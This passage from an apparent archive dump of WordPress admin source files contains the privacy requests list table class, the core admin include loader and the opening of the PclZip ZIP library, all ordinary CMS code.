	public function delete_attachment_data( $post_id ) {
		$site_icon_id = (int) get_option( 'site_icon' );

		if ( $site_icon_id && $post_id === $site_icon_id ) {
			delete_option( 'site_icon' );
		}
	}

	/**
	 * Adds custom image sizes when meta data for an image is requested, that happens to be used as Site Icon.
	 *
	 * @since 4.3.0
	 *
	 * @param null|array|string $value    The value get_metadata() should return a single metadata value, or an
	 *                                    array of values.
	 * @param int               $post_id  Post ID.
	 * @param string            $meta_key Meta key.
	 * @param bool              $single   Whether to return only the first value of the specified `$meta_key`.
	 * @return array|null|string The attachment metadata value, array of values, or null.
	 */
	public function get_post_metadata( $value, $post_id, $meta_key, $single ) {
		if ( $single && '_wp_attachment_backup_sizes' === $meta_key ) {
			$site_icon_id = (int) get_option( 'site_icon' );

			if ( $post_id === $site_icon_id ) {
				add_filter( 'intermediate_image_sizes', array( $this, 'intermediate_image_sizes' ) );
			}
		}

		return $value;
	}
}
class-wp-privacy-requests-table.php000064400000033226150275632050013432 0ustar00<?php
/**
 * List Table API: WP_Privacy_Requests_Table class
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

abstract class WP_Privacy_Requests_Table extends WP_List_Table {

	/**
	 * Action name for the requests this table will work with. Classes
	 * which inherit from WP_Privacy_Requests_Table should define this.
	 *
	 * Example: 'export_personal_data'.
	 *
	 * @since 4.9.6
	 *
	 * @var string $request_type Name of action.
	 */
	protected $request_type = 'INVALID';

	/**
	 * Post type to be used.
	 *
	 * @since 4.9.6
	 *
	 * @var string $post_type The post type.
	 */
	protected $post_type = 'INVALID';

	/**
	 * Gets columns to show in the list table.
	 *
	 * @since 4.9.6
	 *
	 * @return string[] Array of column titles keyed by their column name.
	 */
	public function get_columns() {
		$columns = array(
			'cb'                => '<input type="checkbox" />',
			'email'             => __( 'Requester' ),
			'status'            => __( 'Status' ),
			'created_timestamp' => __( 'Requested' ),
			'next_steps'        => __( 'Next steps' ),
		);
		return $columns;
	}

	/**
	 * Normalizes the admin URL to the current page (by request_type).
	 *
	 * @since 5.3.0
	 *
	 * @return string URL to the current admin page.
	 */
	protected function get_admin_url() {
		$pagenow = str_replace( '_', '-', $this->request_type );

		if ( 'remove-personal-data' === $pagenow ) {
			$pagenow = 'erase-personal-data';
		}

		return admin_url( $pagenow . '.php' );
	}

	/**
	 * Gets a list of sortable columns.
	 *
	 * @since 4.9.6
	 *
	 * @return array Default sortable columns.
	 */
	protected function get_sortable_columns() {
		/*
		 * The initial sorting is by 'Requested' (post_date) and descending.
		 * With initial sorting, the first click on 'Requested' should be ascending.
		 * With 'Requester' sorting active, the next click on 'Requested' should be descending.
		 */
		$desc_first = isset( $_GET['orderby'] );

		return array(
			'email'             => 'requester',
			'created_timestamp' => array( 'requested', $desc_first ),
		);
	}

	/**
	 * Returns the default primary column.
	 *
	 * @since 4.9.6
	 *
	 * @return string Default primary column name.
	 */
	protected function get_default_primary_column_name() {
		return 'email';
	}

	/**
	 * Counts the number of requests for each status.
	 *
	 * @since 4.9.6
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return object Number of posts for each status.
	 */
	protected function get_request_counts() {
		global $wpdb;

		$cache_key = $this->post_type . '-' . $this->request_type;
		$counts    = wp_cache_get( $cache_key, 'counts' );

		if ( false !== $counts ) {
			return $counts;
		}

		$query = "
			SELECT post_status, COUNT( * ) AS num_posts
			FROM {$wpdb->posts}
			WHERE post_type = %s
			AND post_name = %s
			GROUP BY post_status";

		$results = (array) $wpdb->get_results( $wpdb->prepare( $query, $this->post_type, $this->request_type ), ARRAY_A );
		$counts  = array_fill_keys( get_post_stati(), 0 );

		foreach ( $results as $row ) {
			$counts[ $row['post_status'] ] = $row['num_posts'];
		}

		$counts = (object) $counts;
		wp_cache_set( $cache_key, $counts, 'counts' );

		return $counts;
	}

	/**
	 * Gets an associative array ( id => link ) with the list of views available on this table.
	 *
	 * @since 4.9.6
	 *
	 * @return string[] An array of HTML links keyed by their view.
	 */
	protected function get_views() {
		$current_status = isset( $_REQUEST['filter-status'] ) ? sanitize_text_field( $_REQUEST['filter-status'] ) : '';
		$statuses       = _wp_privacy_statuses();
		$views          = array();
		$counts         = $this->get_request_counts();
		$total_requests = absint( array_sum( (array) $counts ) );

		// Normalized admin URL.
		$admin_url = $this->get_admin_url();

		$status_label = sprintf(
			/* translators: %s: Number of requests. */
			_nx(
				'All <span class="count">(%s)</span>',
				'All <span class="count">(%s)</span>',
				$total_requests,
				'requests'
			),
			number_format_i18n( $total_requests )
		);

		$views['all'] = array(
			'url'     => esc_url( $admin_url ),
			'label'   => $status_label,
			'current' => empty( $current_status ),
		);

		foreach ( $statuses as $status => $label ) {
			$post_status = get_post_status_object( $status );
			if ( ! $post_status ) {
				continue;
			}

			$total_status_requests = absint( $counts->{$status} );

			if ( ! $total_status_requests ) {
				continue;
			}

			$status_label = sprintf(
				translate_nooped_plural( $post_status->label_count, $total_status_requests ),
				number_format_i18n( $total_status_requests )
			);

			$status_link = add_query_arg( 'filter-status', $status, $admin_url );

			$views[ $status ] = array(
				'url'     => esc_url( $status_link ),
				'label'   => $status_label,
				'current' => $status === $current_status,
			);
		}

		return $this->get_views_links( $views );
	}

	/**
	 * Gets bulk actions.
	 *
	 * @since 4.9.6
	 *
	 * @return array Array of bulk action labels keyed by their action.
	 */
	protected function get_bulk_actions() {
		return array(
			'resend'   => __( 'Resend confirmation requests' ),
			'complete' => __( 'Mark requests as completed' ),
			'delete'   => __( 'Delete requests' ),
		);
	}

	/**
	 * Process bulk actions.
	 *
	 * @since 4.9.6
	 * @since 5.6.0 Added support for the `complete` action.
	 */
	public function process_bulk_action() {
		$action      = $this->current_action();
		$request_ids = isset( $_REQUEST['request_id'] ) ? wp_parse_id_list( wp_unslash( $_REQUEST['request_id'] ) ) : array();

		if ( empty( $request_ids ) ) {
			return;
		}

		$count    = 0;
		$failures = 0;

		check_admin_referer( 'bulk-privacy_requests' );

		switch ( $action ) {
			case 'resend':
				foreach ( $request_ids as $request_id ) {
					$resend = _wp_privacy_resend_request( $request_id );

					if ( $resend && ! is_wp_error( $resend ) ) {
						++$count;
					} else {
						++$failures;
					}
				}

				if ( $failures ) {
					add_settings_error(
						'bulk_action',
						'bulk_action',
						sprintf(
							/* translators: %d: Number of requests. */
							_n(
								'%d confirmation request failed to resend.',
								'%d confirmation requests failed to resend.',
								$failures
							),
							$failures
						),
						'error'
					);
				}

				if ( $count ) {
					add_settings_error(
						'bulk_action',
						'bulk_action',
						sprintf(
							/* translators: %d: Number of requests. */
							_n(
								'%d confirmation request re-sent successfully.',
								'%d confirmation requests re-sent successfully.',
								$count
							),
							$count
						),
						'success'
					);
				}

				break;

			case 'complete':
				foreach ( $request_ids as $request_id ) {
					$result = _wp_privacy_completed_request( $request_id );

					if ( $result && ! is_wp_error( $result ) ) {
						++$count;
					}
				}

				add_settings_error(
					'bulk_action',
					'bulk_action',
					sprintf(
						/* translators: %d: Number of requests. */
						_n(
							'%d request marked as complete.',
							'%d requests marked as complete.',
							$count
						),
						$count
					),
					'success'
				);
				break;

			case 'delete':
				foreach ( $request_ids as $request_id ) {
					if ( wp_delete_post( $request_id, true ) ) {
						++$count;
					} else {
						++$failures;
					}
				}

				if ( $failures ) {
					add_settings_error(
						'bulk_action',
						'bulk_action',
						sprintf(
							/* translators: %d: Number of requests. */
							_n(
								'%d request failed to delete.',
								'%d requests failed to delete.',
								$failures
							),
							$failures
						),
						'error'
					);
				}

				if ( $count ) {
					add_settings_error(
						'bulk_action',
						'bulk_action',
						sprintf(
							/* translators: %d: Number of requests. */
							_n(
								'%d request deleted successfully.',
								'%d requests deleted successfully.',
								$count
							),
							$count
						),
						'success'
					);
				}

				break;
		}
	}

	/**
	 * Prepares items to output.
	 *
	 * @since 4.9.6
	 * @since 5.1.0 Added support for column sorting.
	 */
	public function prepare_items() {
		$this->items    = array();
		$posts_per_page = $this->get_items_per_page( $this->request_type . '_requests_per_page' );
		$args           = array(
			'post_type'      => $this->post_type,
			'post_name__in'  => array( $this->request_type ),
			'posts_per_page' => $posts_per_page,
			'offset'         => isset( $_REQUEST['paged'] ) ? max( 0, absint( $_REQUEST['paged'] ) - 1 ) * $posts_per_page : 0,
			'post_status'    => 'any',
			's'              => isset( $_REQUEST['s'] ) ? sanitize_text_field( $_REQUEST['s'] ) : '',
		);

		$orderby_mapping = array(
			'requester' => 'post_title',
			'requested' => 'post_date',
		);

		if ( isset( $_REQUEST['orderby'] ) && isset( $orderby_mapping[ $_REQUEST['orderby'] ] ) ) {
			$args['orderby'] = $orderby_mapping[ $_REQUEST['orderby'] ];
		}

		if ( isset( $_REQUEST['order'] ) && in_array( strtoupper( $_REQUEST['order'] ), array( 'ASC', 'DESC' ), true ) ) {
			$args['order'] = strtoupper( $_REQUEST['order'] );
		}

		if ( ! empty( $_REQUEST['filter-status'] ) ) {
			$filter_status       = isset( $_REQUEST['filter-status'] ) ? sanitize_text_field( $_REQUEST['filter-status'] ) : '';
			$args['post_status'] = $filter_status;
		}

		$requests_query = new WP_Query( $args );
		$requests       = $requests_query->posts;

		foreach ( $requests as $request ) {
			$this->items[] = wp_get_user_request( $request->ID );
		}

		$this->items = array_filter( $this->items );

		$this->set_pagination_args(
			array(
				'total_items' => $requests_query->found_posts,
				'per_page'    => $posts_per_page,
			)
		);
	}

	/**
	 * Returns the markup for the Checkbox column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Checkbox column markup.
	 */
	public function column_cb( $item ) {
		return sprintf(
			'<input type="checkbox" name="request_id[]" id="requester_%1$s" value="%1$s" />' .
			'<label for="requester_%1$s"><span class="screen-reader-text">%2$s</span></label><span class="spinner"></span>',
			esc_attr( $item->ID ),
			/* translators: Hidden accessibility text. %s: Email address. */
			sprintf( __( 'Select %s' ), $item->email )
		);
	}

	/**
	 * Status column.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Status column markup.
	 */
	public function column_status( $item ) {
		$status        = get_post_status( $item->ID );
		$status_object = get_post_status_object( $status );

		if ( ! $status_object || empty( $status_object->label ) ) {
			return '-';
		}

		$timestamp = false;

		switch ( $status ) {
			case 'request-confirmed':
				$timestamp = $item->confirmed_timestamp;
				break;
			case 'request-completed':
				$timestamp = $item->completed_timestamp;
				break;
		}

		echo '<span class="status-label status-' . esc_attr( $status ) . '">';
		echo esc_html( $status_object->label );

		if ( $timestamp ) {
			echo ' (' . $this->get_timestamp_as_date( $timestamp ) . ')';
		}

		echo '</span>';
	}

	/**
	 * Converts a timestamp for display.
	 *
	 * @since 4.9.6
	 *
	 * @param int $timestamp Event timestamp.
	 * @return string Human readable date.
	 */
	protected function get_timestamp_as_date( $timestamp ) {
		if ( empty( $timestamp ) ) {
			return '';
		}

		$time_diff = time() - $timestamp;

		if ( $time_diff >= 0 && $time_diff < DAY_IN_SECONDS ) {
			/* translators: %s: Human-readable time difference. */
			return sprintf( __( '%s ago' ), human_time_diff( $timestamp ) );
		}

		return date_i18n( get_option( 'date_format' ), $timestamp );
	}

	/**
	 * Handles the default column.
	 *
	 * @since 4.9.6
	 * @since 5.7.0 Added `manage_{$this->screen->id}_custom_column` action.
	 *
	 * @param WP_User_Request $item        Item being shown.
	 * @param string          $column_name Name of column being shown.
	 */
	public function column_default( $item, $column_name ) {
		/**
		 * Fires for each custom column of a specific request type in the Requests list table.
		 *
		 * Custom columns are registered using the {@see 'manage_export-personal-data_columns'}
		 * and the {@see 'manage_erase-personal-data_columns'} filters.
		 *
		 * @since 5.7.0
		 *
		 * @param string          $column_name The name of the column to display.
		 * @param WP_User_Request $item        The item being shown.
		 */
		do_action( "manage_{$this->screen->id}_custom_column", $column_name, $item );
	}

	/**
	 * Returns the markup for the Created timestamp column. Overridden by children.
	 *
	 * @since 5.7.0
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Human readable date.
	 */
	public function column_created_timestamp( $item ) {
		return $this->get_timestamp_as_date( $item->created_timestamp );
	}

	/**
	 * Actions column. Overridden by children.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 * @return string Email column markup.
	 */
	public function column_email( $item ) {
		return sprintf( '<a href="%1$s">%2$s</a> %3$s', esc_url( 'mailto:' . $item->email ), $item->email, $this->row_actions( array() ) );
	}

	/**
	 * Returns the markup for the next steps column. Overridden by children.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item Item being shown.
	 */
	public function column_next_steps( $item ) {}

	/**
	 * Generates content for a single row of the table,
	 *
	 * @since 4.9.6
	 *
	 * @param WP_User_Request $item The current item.
	 */
	public function single_row( $item ) {
		$status = $item->status;

		echo '<tr id="request-' . esc_attr( $item->ID ) . '" class="status-' . esc_attr( $status ) . '">';
		$this->single_row_columns( $item );
		echo '</tr>';
	}

	/**
	 * Embeds scripts used to perform actions. Overridden by children.
	 *
	 * @since 4.9.6
	 */
	public function embed_scripts() {}
}
admin.php000064400000007054150275632050006360 0ustar00<?php
/**
 * Core Administration API
 *
 * @package WordPress
 * @subpackage Administration
 * @since 2.3.0
 */

if ( ! defined( 'WP_ADMIN' ) ) {
	/*
	 * This file is being included from a file other than wp-admin/admin.php, so
	 * some setup was skipped. Make sure the admin message catalog is loaded since
	 * load_default_textdomain() will not have done so in this context.
	 */
	$admin_locale = get_locale();
	load_textdomain( 'default', WP_LANG_DIR . '/admin-' . $admin_locale . '.mo', $admin_locale );
	unset( $admin_locale );
}

/** WordPress Administration Hooks */
require_once ABSPATH . 'wp-admin/includes/admin-filters.php';

/** WordPress Bookmark Administration API */
require_once ABSPATH . 'wp-admin/includes/bookmark.php';

/** WordPress Comment Administration API */
require_once ABSPATH . 'wp-admin/includes/comment.php';

/** WordPress Administration File API */
require_once ABSPATH . 'wp-admin/includes/file.php';

/** WordPress Image Administration API */
require_once ABSPATH . 'wp-admin/includes/image.php';

/** WordPress Media Administration API */
require_once ABSPATH . 'wp-admin/includes/media.php';

/** WordPress Import Administration API */
require_once ABSPATH . 'wp-admin/includes/import.php';

/** WordPress Misc Administration API */
require_once ABSPATH . 'wp-admin/includes/misc.php';

/** WordPress Misc Administration API */
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-policy-content.php';

/** WordPress Options Administration API */
require_once ABSPATH . 'wp-admin/includes/options.php';

/** WordPress Plugin Administration API */
require_once ABSPATH . 'wp-admin/includes/plugin.php';

/** WordPress Post Administration API */
require_once ABSPATH . 'wp-admin/includes/post.php';

/** WordPress Administration Screen API */
require_once ABSPATH . 'wp-admin/includes/class-wp-screen.php';
require_once ABSPATH . 'wp-admin/includes/screen.php';

/** WordPress Taxonomy Administration API */
require_once ABSPATH . 'wp-admin/includes/taxonomy.php';

/** WordPress Template Administration API */
require_once ABSPATH . 'wp-admin/includes/template.php';

/** WordPress List Table Administration API and base class */
require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-list-table-compat.php';
require_once ABSPATH . 'wp-admin/includes/list-table.php';

/** WordPress Theme Administration API */
require_once ABSPATH . 'wp-admin/includes/theme.php';

/** WordPress Privacy Functions */
require_once ABSPATH . 'wp-admin/includes/privacy-tools.php';

/** WordPress Privacy List Table classes. */
// Previously in wp-admin/includes/user.php. Need to be loaded for backward compatibility.
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-requests-table.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-data-export-requests-list-table.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-privacy-data-removal-requests-list-table.php';

/** WordPress User Administration API */
require_once ABSPATH . 'wp-admin/includes/user.php';

/** WordPress Site Icon API */
require_once ABSPATH . 'wp-admin/includes/class-wp-site-icon.php';

/** WordPress Update Administration API */
require_once ABSPATH . 'wp-admin/includes/update.php';

/** WordPress Deprecated Administration API */
require_once ABSPATH . 'wp-admin/includes/deprecated.php';

/** WordPress Multisite support API */
if ( is_multisite() ) {
	require_once ABSPATH . 'wp-admin/includes/ms-admin-filters.php';
	require_once ABSPATH . 'wp-admin/includes/ms.php';
	require_once ABSPATH . 'wp-admin/includes/ms-deprecated.php';
}
class-pclzip.php000064400000600122150275632050007667 0ustar00<?php
// --------------------------------------------------------------------------------
// PhpConcept Library - Zip Module 2.8.2
// --------------------------------------------------------------------------------
// License GNU/LGPL - Vincent Blavet - August 2009
// http://www.phpconcept.net
// --------------------------------------------------------------------------------
//
// Presentation :
//   PclZip is a PHP library that manage ZIP archives.
//   So far tests show that archives generated by PclZip are readable by
//   WinZip application and other tools.
//
// Description :
//   See readme.txt and http://www.phpconcept.net
//
// Warning :
//   This library and the associated files are non commercial, non professional
//   work.
//   It should not have unexpected results. However if any damage is caused by
//   this software the author can not be responsible.
//   The use of this software is at the risk of the user.
//
// --------------------------------------------------------------------------------
// $Id: pclzip.lib.php,v 1.60 2009/09/30 21:01:04 vblavet Exp $
// --------------------------------------------------------------------------------

  // ----- Constants
  if (!defined('PCLZIP_READ_BLOCK_SIZE')) {
    define( 'PCLZIP_READ_BLOCK_SIZE', 2048 );
  }

  // ----- File list separator
  // In version 1.x of PclZip, the separator for file list is a space
  // (which is not a very smart choice, specifically for windows paths !).
  // A better separator should be a comma (,). This constant gives you the
  // ability to change that.
  // However notice that changing this value, may have impact on existing
  // scripts, using space separated filenames.
  // Recommended values for compatibility with older versions :
  //define( 'PCLZIP_SEPARATOR', ' ' );
  // Recommended values for smart separation of filenames.
  if (!defined('PCLZIP_SEPARATOR')) {
    define( 'PCLZIP_SEPARATOR', ',' );
  }

  // ----- Error configuration
  // 0 : PclZip Class integrated error handling
  // 1 : PclError external library error handling. By enabling this
  //     you must ensure that you have included PclError library.
  // [2,...] : reserved for futur use
  if (!defined('PCLZIP_ERROR_EXTERNAL')) {
    define( 'PCLZIP_ERROR_EXTERNAL', 0 );
  }

  // ----- Optional static temporary directory
  //       By default temporary files are generated in the script current
  //       path.
  //       If defined :
  //       - MUST BE terminated by a '/'.
  //       - MUST be a valid, already created directory
  //       Samples :
  // define( 'PCLZIP_TEMPORARY_DIR', '/temp/' );
  // define( 'PCLZIP_TEMPORARY_DIR', 'C:/Temp/' );
  if (!defined('PCLZIP_TEMPORARY_DIR')) {
    define( 'PCLZIP_TEMPORARY_DIR', '' );
  }

  // ----- Optional threshold ratio for use of temporary files
  //       Pclzip sense the size of the file to add/extract and decide to
  //       use or not temporary file. The algorithm is looking for
  //       memory_limit of PHP and apply a ratio.
  //       threshold = memory_limit * ratio.
  //       Recommended values are under 0.5. Default 0.47.
  //       Samples :
  // define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.5 );
  if (!defined('PCLZIP_TEMPORARY_FILE_RATIO')) {
    define( 'PCLZIP_TEMPORARY_FILE_RATIO', 0.47 );
  }

// --------------------------------------------------------------------------------
// ***** UNDER THIS LINE NOTHING NEEDS TO BE MODIFIED *****
// --------------------------------------------------------------------------------

  // ----- Global variables
  $g_pclzip_version = "2.8.2";

  // ----- Error codes
  //   -1 : Unable to open file in binary write mode
  //   -2 : Unable to open file in binary read mode
  //   -3 : Invalid parameters
  //   -4 : File does not exist
  //   -5 : Filename is too long (max. 255)
  //   -6 : Not a valid zip file
  //   -7 : Invalid extracted file size
  //   -8 : Unable to create directory
  //   -9 : Invalid archive extension
  //  -10 : Invalid archive format
  //  -11 : Unable to delete file (unlink)
  //  -12 : Unable to rename file (rename)
  //  -13 : Invalid header checksum
  //  -14 : Invalid archive size
  define( 'PCLZIP_ERR_USER_ABORTED', 2 );
  define( 'PCLZIP_ERR_NO_ERROR', 0 );
  define( 'PCLZIP_ERR_WRITE_OPEN_FAIL', -1 );
  define( 'PCLZIP_ERR_READ_OPEN_FAIL', -2 );
  define( 'PCLZIP_ERR_INVALID_PARAMETER', -3 );
  define( 'PCLZIP_ERR_MISSING_FILE', -4 );
  define( 'PCLZIP_ERR_FILENAME_TOO_LONG', -5 );
  define( 'PCLZIP_ERR_INVALID_ZIP', -6 );
  define( 'PCLZIP_ERR_BAD_EXTRACTED_FILE', -7 );
  define( 'PCLZIP_ERR_DIR_CREATE_FAIL', -8 );
  define( 'PCLZIP_ERR_BAD_EXTENSION', -9 );
  define( 'PCLZIP_ERR_BAD_FORMAT', -10 );
  define( 'PCLZIP_ERR_DELETE_FILE_FAIL', -11 );
  define( 'PCLZIP_ERR_RENAME_FILE_FAIL', -12 );
  define( 'PCLZIP_ERR_BAD_CHECKSUM', -13 );
  define( 'PCLZIP_ERR_INVALID_ARCHIVE_ZIP', -14 );
  define( 'PCLZIP_ERR_MISSING_OPTION_VALUE', -15 );
  define( 'PCLZIP_ERR_INVALID_OPTION_VALUE', -16 );
  define( 'PCLZIP_ERR_ALREADY_A_DIRECTORY', -17 );
  define( 'PCLZIP_ERR_UNSUPPORTED_COMPRESSION', -18 );
  define( 'PCLZIP_ERR_UNSUPPORTED_ENCRYPTION', -19 );
  define( 'PCLZIP_ERR_INVALID_ATTRIBUTE_VALUE', -20 );
  define( 'PCLZIP_ERR_DIRECTORY_RESTRICTION', -21 );

  // ----- Options values
  define( 'PCLZIP_OPT_PATH', 77001 );
  define( 'PCLZIP_OPT_ADD_PATH', 77002 );
  define( 'PCLZIP_OPT_REMOVE_PATH', 77003 );
  define( 'PCLZIP_OPT_REMOVE_ALL_PATH', 77004 );
  define( 'PCLZIP_OPT_SET_CHMOD', 77005 );
  define( 'PCLZIP_OPT_EXTRACT_AS_STRING', 77006 );
  define( 'PCLZIP_OPT_NO_COMPRESSION', 77007 );
  define( 'PCLZIP_OPT_BY_NAME', 77008 );
  define( 'PCLZIP_OPT_BY_INDEX', 77009 );
  define( 'PCLZIP_OPT_BY_EREG', 77010 );
  define( 'PCLZIP_OPT_BY_PREG', 77011 );
  define( 'PCLZIP_OPT_COMMENT', 77012 );
  define( 'PCLZIP_OPT_ADD_COMMENT', 77013 );
  define( 'PCLZIP_OPT_PREPEND_COMMENT', 77014 );
  define( 'PCLZIP_OPT_EXTRACT_IN_OUTPUT', 77015 );
  define( 'PCLZIP_OPT_REPLACE_NEWER', 77016 );
  define( 'PCLZIP_OPT_STOP_ON_ERROR', 77017 );
  // Having big trouble with crypt. Need to multiply 2 long int
  // which is not correctly supported by PHP ...
  //define( 'PCLZIP_OPT_CRYPT', 77018 );
  define( 'PCLZIP_OPT_EXTRACT_DIR_RESTRICTION', 77019 );
  define( 'PCLZIP_OPT_TEMP_FILE_THRESHOLD', 77020 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_THRESHOLD', 77020 ); // alias
  define( 'PCLZIP_OPT_TEMP_FILE_ON', 77021 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_ON', 77021 ); // alias
  define( 'PCLZIP_OPT_TEMP_FILE_OFF', 77022 );
  define( 'PCLZIP_OPT_ADD_TEMP_FILE_OFF', 77022 ); // alias

  // ----- File description attributes
  define( 'PCLZIP_ATT_FILE_NAME', 79001 );
  define( 'PCLZIP_ATT_FILE_NEW_SHORT_NAME', 79002 );
  define( 'PCLZIP_ATT_FILE_NEW_FULL_NAME', 79003 );
  define( 'PCLZIP_ATT_FILE_MTIME', 79004 );
  define( 'PCLZIP_ATT_FILE_CONTENT', 79005 );
  define( 'PCLZIP_ATT_FILE_COMMENT', 79006 );

  // ----- Call backs values
  define( 'PCLZIP_CB_PRE_EXTRACT', 78001 );
  define( 'PCLZIP_CB_POST_EXTRACT', 78002 );
  define( 'PCLZIP_CB_PRE_ADD', 78003 );
  define( 'PCLZIP_CB_POST_ADD', 78004 );
  /* For futur use
  define( 'PCLZIP_CB_PRE_LIST', 78005 );
  define( 'PCLZIP_CB_POST_LIST', 78006 );
  define( 'PCLZIP_CB_PRE_DELETE', 78007 );
  define( 'PCLZIP_CB_POST_DELETE', 78008 );
  */

  // --------------------------------------------------------------------------------
  // Class : PclZip
  // Description :
  //   PclZip is the class that represent a Zip archive.
  //   The public methods allow the manipulation of the archive.
  // Attributes :
  //   Attributes must not be accessed directly.
  // Methods :
  //   PclZip() : Object creator
  //   create() : Creates the Zip archive
  //   listContent() : List the content of the Zip archive
  //   extract() : Extract the content of the archive
  //   properties() : List the properties of the archive
  // --------------------------------------------------------------------------------
  class PclZip
  {
    // ----- Filename of the zip file
    var $zipname = '';

    // ----- File descriptor of the zip file
    var $zip_fd = 0;

    // ----- Internal error handling
    var $error_code = 1;
    var $error_string = '';

    // ----- Current status of the magic_quotes_runtime
    // This value store the php configuration for magic_quotes
    // The class can then disable the magic_quotes and reset it after
    var $magic_quotes_status;

  // --------------------------------------------------------------------------------
  // Function : PclZip()
  // Description :
  //   Creates a PclZip object and set the name of the associated Zip archive
  //   filename.
  //   Note that no real action is taken, if the archive does not exist it is not
  //   created. Use create() for that.
  // --------------------------------------------------------------------------------
  function __construct($p_zipname)
  {

    // ----- Tests the zlib
    if (!function_exists('gzopen'))
    {
      die('Abort '.basename(__FILE__).' : Missing zlib extensions');
    }

    // ----- Set the attributes
    $this->zipname = $p_zipname;
    $this->zip_fd = 0;
    $this->magic_quotes_status = -1;

    // ----- Return
    return;
  }

  public function PclZip($p_zipname) {
    self::__construct($p_zipname);
  }
  // --------------------------------------------------------------------------------

  // --------------------------------------------------------------------------------
  // Function :
  //   create($p_filelist, $p_add_dir="", $p_remove_dir="")
  //   create($p_filelist, $p_option, $p_option_value, ...)
  // Description :
  //   This method supports two different synopsis. The first one is historical.
  //   This method creates a Zip Archive. The Zip file is created in the
  //   filesystem. The files and directories indicated in $p_filelist
  //   are added in the archive. See the parameters description for the
  //   supported format of $p_filelist.
  //   When a directory is in the list, the directory and its content is added
  //   in the archive.
  //   In this synopsis, the function takes an optional variable list of
  //   options. See below the supported options.
  // Parameters :
  //   $p_filelist : An array containing file or directory names, or
  //                 a string containing one filename or one directory name, or
  //                 a string containing a list of filenames and/or directory
  //                 names separated by spaces.
  //   $p_add_dir : A path to add before the real path of the archived file,
  //                in order to have it memorized in the archive.
  //   $p_remove_dir : A path to remove from the real path of the file to archive,
  //                   in order to have a shorter path memorized in the archive.
  //                   When $p_add_dir and $p_remove_dir are set, $p_remove_dir
  //                   is removed first, before $p_add_dir is added.
  // Options :
  //   PCLZIP_OPT_ADD_PATH :
  //   PCLZIP_OPT_REMOVE_PATH :
  //   PCLZIP_OPT_REMOVE_ALL_PATH :
  //   PCLZIP_OPT_COMMENT :
  //   PCLZIP_CB_PRE_ADD :
  //   PCLZIP_CB_POST_ADD :
  // Return Values :
  //   0 on failure,
  //   The list of the added files, with a status of the add action.
  //   (see PclZip::listContent() for list entry format)
  // --------------------------------------------------------------------------------
  function create($p_filelist)
  {
    $v_result=1;

    // ----- Reset the error handler
    $this->privErrorReset();

    // ----- Set default values
    $v_options = array();
    $v_options[PCLZIP_OPT_NO_COMPRESSION] = FALSE;

    // ----- Look for variable options arguments
    $v_size = func_num_args();

    // ----- Look for arguments
    if ($v_size > 1) {
      // ----- Get the arguments
      $v_arg_list = func_get_args();

      // ----- Remove from the options list the first argument
      array_shift($v_arg_list);
      $v_size--;

      // ----- Look for first arg
      if ((is_integer($v_arg_list[0])) && ($v_arg_list[0] > 77000)) {

        // ----- Parse the options
        $v_result = $this->privParseOptions($v_arg_list, $v_size, $v_options,
                                            array (PCLZIP_OPT_REMOVE_PATH => 'optional',
                                                   PCLZIP_OPT_REMOVE_ALL_PATH => 'optional',
                                                   PCLZIP_OPT_ADD_PATH => 'optional',
                                                   PCLZIP_CB_PRE_ADD => 'optional',
                                                   PCLZIP_CB_POST_ADD => 'optional',
                                                   PCLZIP_OPT_NO_COMPRESSION => 'optional',
                                                   PCLZIP_OPT_COMMENT => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_THRESHOLD => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_ON => 'optional',
                                                   PCLZIP_OPT_TEMP_FILE_OFF => 'optional'
                                                   //, PCLZIP_OPT_CRYPT => 'optional'
                                             ));
        if ($v_result != 1) {
          return 0;
        }
      }

      // ----- Look for 2 args
      // Here we need to support the first historic synopsis of the
      // method.
      else {

        // ----- Get the first argument
        $v_options[PCLZIP_OPT_ADD_PATH] = $v_arg_list[0];

        // ----- Look for the optional second argument
        if ($v_size == 2) {
          $v_options[PCLZIP_OPT_REMOVE_PATH] = $v_arg_list[1];
        }
        else if ($v_size > 2) {
          PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER,
		                       "Invalid number / type of arguments");
          return 0;
        }
      }
    }

    // ----- Look for default option values
    $this->privOptionDefaultThreshold($v_options);

    // ----- Init
    $v_string_list = array();
    $v_att_list = array();
    $v_filedescr_list = array();
    $p_result_list = array();

    // ----- Look if the $p_filelist is really an array
    if (is_array($p_filelist)) {

      // ----- Look if the first element is also an array
      //       This will mean that this is a file description entry
      if (isset($p_filelist[0]) && is_array($p_filelist[0])) {
        $v_att_list = $p_filelist;
      }

      // ----- The list is a list of string names
      else {
        $v_string_list = $p_filelist;
      }
    }

    // ----- Look if the $p_filelist is a string
    else if (is_string($p_filelist)) {
      // ----- Create a list from the string
      $v_string_list = explode(PCLZIP_SEPARATOR, $p_filelist);
    }

    // ----- Invalid variable type for $p_filelist
    else {
      PclZip::privErrorLog(PCLZIP_ERR_INVALID_PARAMETER, "Invalid variable type p_filelist");
      return 0;
    }

    // ----- Reformat the string list
    if (sizeof($v_string_list) != 0) {
      foreach ($v_string_list as $v_string) {
        if ($v_string != '') {
          $v_att_list[][PCLZIP_ATT_FILE_NAME] = $v_string;
        }
        else {
        }
      }
    }

    // ----- For each file in the list check the attributes
    $v_supported_attributes
    = array ( PCLZIP_ATT_FILE_NAME => 'mandatory'
             ,PCLZIP_ATT_FILE_NEW_SHORT_NAME => 'optional'
             ,PCLZIP_ATT_FILE_NEW_FULL_NAME => 'optional'
